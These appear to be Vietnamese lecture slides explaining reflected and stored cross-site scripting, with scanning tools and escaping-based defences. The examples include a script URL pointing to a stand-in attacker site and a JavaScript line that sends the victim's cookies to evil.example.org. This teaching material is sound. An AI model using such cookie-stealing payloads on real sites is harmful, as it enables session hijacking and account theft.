4. Khái niệm
•Lỗi XSS xảy ra khi một ứng dụng nhận vào những dữ
liệu không đáng tin và gửi những dữ liệu đấy cho
trình duyệt của người dùng
• Ví dụ:một đoạn Javascript:
<script%20src="http://mallorysevilsite.com/authstealer.js">
•Lỗi XSS thường giúp người khai thác chiếm phiên
đăng nhập của người dùng, “deface” trang web hay
dẫn người dùng đến những trang web lừa đảo
7. A dùng trang web của B
Trang web của B cho phép A lập tài khoản và chứa
những thông tin riêng tư
Trang web của B có lỗi XSS trong chức năng tìm
kiếm
http://bobssite.org?q=search term
search term
Non-persistent
Ví dụ
8. • Chức năng tìm kiếm của trang web khi nhận được
một query:
• Trang web sẽ hiện ra
"http://bobssite.org?q=puppies
http://bobssite.org?q=puppies
puppies
puppies not found
9. • Chức năng tìm kiếm của trang web khi nhận được
một query bất thường như:
• Trang web sẽ hiện ra
<script type='text/javascript'>alert('pwnd');</script>
http://bobssite.org?q=<script…
<script ….
<script …. not found
pwnd
10. • C tìm ra lỗi này của trang web B
• C tạo ra URL
• C gửi URL cho những thành viên của trang web B
http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js">
Check out this cute puppy.
http://bobssite.org?q=puppies<
script%20….
From: c@email.com
11. •A nhận được email và click vào link
•Link dẫn đến trang web của B và hiện ra “puppies not
found”
•Script authstealer.js trong URL được thực hiện
•Script này lấy thông tin xác thực của A và gửi cho trang
web của C
Ví dụ: một đoạn trong authstealer.js
new Image().src =
'http://evil.example.org/steal.php?cookies=' +
encodeURI(document.cookie);
12. Persistent
Với dạng Persistent, đoạn mã chèn thêm vào được
lưu trữ trên server, như trong CSDL dưới dạng các
comment trong blog, message trong forum hoặc các
visitor log.
13. Ta có một trang web mà người dùng có thể để lại
những lời nhắn như sau:
Persistent
Ví dụ
14. • Thay vì nhập vào lời nhắn bình thường, ta nhập vào
đoạn mã sau:
• Kết quả
Xin <script>alert(“XSS”)</script>chào!
15. Công cụ tìm kiếm lỗi XSS
Có khá nhiều công cụ miễn phí và thương mại để tìm
kiếm lỗi XSS
Grabber
ZAP (OWASP)
Wapiti
16. • “Escape” tất cả những dữ liệu không đáng tin cậy một cách hợp lý
khi dữ liệu được đưa vào
• Ví dụ:
• Tham khảo thêm về HTML escaping:
• Lập danh sách những dữ liệu được phép nhập vào
• Ví dụ: Chỉ được nhập chữ cái, không được nhập ký tự đặc biệt
• Với những dữ liệu như hình ảnh, video, có thể dùng những thư
viện kiểm tra tự động như AntiSamy (OWASP)
& --> &
< --> <
> --> >
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Tham khảo thêm về dự án AntiSamy: https://www.owasp.org/index.php/AntiSamy
Cách phòng chống